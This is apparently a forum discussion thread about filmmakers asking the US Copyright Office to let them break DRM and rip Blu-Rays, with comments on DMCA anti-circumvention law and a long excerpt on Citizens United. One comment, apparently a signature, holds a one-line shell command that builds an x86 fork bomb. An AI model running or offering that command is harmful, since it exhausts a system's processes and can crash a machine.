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Filmmakers Want The Right To Break DRM and Rip Blu-Rays (torrentfreak.com)
An anonymous reader shares a report: Breaking DRM or ripping Blu-Rays discs is a crime In the United States. While there are fair use exemptions, these don't apply to the public at large. Interestingly, filmmakers themselves are now urging the Copyright Office to lift some of the current restrictions, so that they can make the films they want. [...] Technically speaking it's not hard to rip a DVD or Blu-Ray disc nowadays, and the same is true for ripping content from Netflix or YouTube. However, people who do this are breaking the law. The DMCA's anti-circumvention provisions specifically forbid it. There are some exemptions, for educational use for example, and to allow for other types of fair use, but the line between legal and illegal is not always clear. Interestingly, filmmakers are not happy with the current law either. They often want to use small pieces of other videos in their films, but under the current exemptions, this is only permitted for documentaries. The International Documentary Association, Kartemquin Films, Independent Filmmaker Project, University of Film and Video Association and several other organizations hope this will change. In a comment to the Copyright Office, which is currently considering updates to the exemptions, they argue that all filmmakers should be allowed by break DRM and rip Blu-Rays. According to the filmmakers, the documentary genre is vaguely defined. This leads to a lot of confusion whether or not the exemptions apply. They, therefore, suggest to apply it to all filmmakers, instead of criminalizing those who don't identify themselves as documentarians.
Unless we do it. Ripping for archival or personal viewing is crass immoral and evil, but if we need to do it to make a buck it is holy and just
Funnily enough the FEC's case in Citizens United was that they weren't a bona fide documentary film maker but that Michael Moore was
https://en.wikipedia.org/wiki/...
Section 203 of the Bipartisan Campaign Reform Act of 2002 (known as BCRA or McCain-Feingold Act) modified the Federal Election Campaign Act of 1971, 2 U.S.C. Section 441b to prohibit corporations and unions from using their general treasury to fund "electioneering communications" (broadcast advertisements mentioning a candidate in any context) within 30 days before a primary or 60 days before a general election. During the 2004 presidential campaign, a conservative nonprofit 501(c)(4) organization, Citizens United, filed a complaint before the Federal Election Commission (FEC) charging that advertisements for Michael Moore's film Fahrenheit 9/11, a docudrama critical of the Bush administration's response to the terrorist attacks on September 11, 2001, produced and marketed by a variety of corporate entities, constituted political advertising and thus could not be aired within the 30 days before a primary election or 60 days before a general election. The FEC dismissed the complaint after finding no evidence that broadcast advertisements featuring a candidate within the proscribed time limits had actually been made.[11] The FEC later dismissed a second complaint which argued that the movie itself constituted illegal corporate spending advocating the election or defeat of a candidate, which was illegal under the Taft-Hartley Act of 1947 and the Federal Election Campaign Act Amendments of 1974. In dismissing that complaint, the FEC found that:
The complainant alleged that the release and distribution of FAHRENHEIT 9/11 constituted an independent expenditure because the film expressly advocated the defeat of President Bush and that by being fully or partially responsible for the film's release, Michael Moore and other entities associated with the film made excessive and/or prohibited contributions to unidentified candidates. The Commission found no reason to believe the respondents violated the Act because the film, associated trailers and website represented bona fide commercial activity, not "contributions" or "expenditures" as defined by the Federal Election Campaign Act.[12]
In response, Citizens United produced a documentary, called Celsius 41.11, highly critical of both FAHRENHEIT 9/11 and 2004 Democratic presidential nominee John Kerry. The FEC, however, held that showing the movie and advertisements for it would violate the Federal Election Campaign Act, because Citizens United was not a bona fide commercial film maker.[13]
In the wake of these decisions, Citizens United sought to establish itself as a bona fide commercial film maker before the 2008 elections, producing several documentary films between 2005 and 2007. By early 2008, it sought to run television commercials to promote its political documentary Hillary: The Movie and to air the movie on DirecTV.[14]
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Laws made to restrict people rights, will often come back to hurt others.
A weapon in one persons hand is a tool in an others. When making laws and rules, that restrict using a tool and/or a weapon (being physical or abstract) it needs to be done carefully, with planning and research. Not a gut instinct and pushing a majority vote based on party lines.
If something is so important that you feel the need to post it on the internet... It probably isn't that important.
Since the anti-circumvention clause does nothing but make a mockery of the law on every level, let's just get rid of it entirely.
DMCA defines circumvention as breaking the DRM without the authority of the copyright holder. The copyright holder can always grant permission for anyone and everyone to crack DRM on their own works. If I were to make a Blu-Ray disc containing my video, then I could give everyone in the world the right to crack the DRM on my disc. This is not an exemption; it's something right in the definition of circumvention.
It could even be argued that if I had granted that right, and you manufactured, imported, offered-to-the-public or trafficked in the tool primarily intended to play my disc despite the DRM, that might be legal as well. (This is less certain than the above paragraph, though.)
(And all this ignores any trade secrets which may be required to make or play Blu-Rays. I'm just talking about DMCA.)
If these filmmakers think they don't already have this right, then I have to conclude that they don't hold the copyright on their own movies, and someone else (the studio) is denying them permission to watch their own movies. Well, that sucks. So, filmmakers, maybe you should think about just what value (if any) studios provide to your filmmaking, such that you are letting them have the whole fucking thing. Everyone should hold them accountable for their decision to start the relationship in bad faith.
And of course, if using the media you bought is too hard to use, I'm sure someone else already did the hard work and has made the file available. So you might want to think twice about purchasing anything DRMed in the first place. You should feel dirty whenever you pay them.
As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.